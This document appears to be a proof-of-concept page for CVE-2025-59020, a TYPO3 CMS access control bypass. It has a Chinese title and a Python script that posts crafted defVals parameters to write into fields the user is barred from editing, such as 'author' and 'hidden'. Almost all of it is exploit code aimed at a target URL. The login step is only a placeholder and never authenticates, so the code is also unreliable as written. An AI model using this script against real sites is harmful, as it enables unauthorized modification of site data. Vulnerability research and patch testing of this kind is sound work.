CVE-2025-59020: TYPO3 CMS defVals参数绕过字段级访问控制漏洞

# CVE-2025-59020 PoC - TYPO3 CMS defVals Access Control Bypass # This PoC demonstrates how to exploit the defVals parameter to bypass field-level access checks import requests import json TARGET_URL = "https://vulnerable-typo3-site.com/typo3/" USERNAME = "attacker" PASSWORD = "password" def exploit_cve_2025_59020(): """ Exploit the defVals parameter to insert arbitrary data into prohibited exclude fields """ # Step 1: Authenticate to TYPO3 backend session = requests.Session() login_url = TARGET_URL + "ajax.php?ajaxID=login&token=..." # Step 2: Prepare malicious request with defVals parameter # The attacker has write permission for 'title' field but NOT for 'author' field exploit_data = { "defVals[tx_myextension_domain_model_item][title]": "Authorized Title", "defVals[tx_myextension_domain_model_item][author]": "Unauthorized Author Value", # Excluded field "defVals[tx_myextension_domain_model_item][hidden]": "1", # Another excluded field "table": "tx_myextension_domain_model_item", "cmd[tx_myextension_domain_model_item][create]": "0" } # Step 3: Send crafted request to bypass access control create_url = TARGET_URL + "ajax.php?ajaxID=record_process::process" response = session.post(create_url, data=exploit_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify if the excluded field was modified # If successful, the attacker has modified data they shouldn't have access to return response if __name__ == "__main__": print("CVE-2025-59020 TYPO3 defVals Access Control Bypass PoC") print("=" * 60) exploit_cve_2025_59020()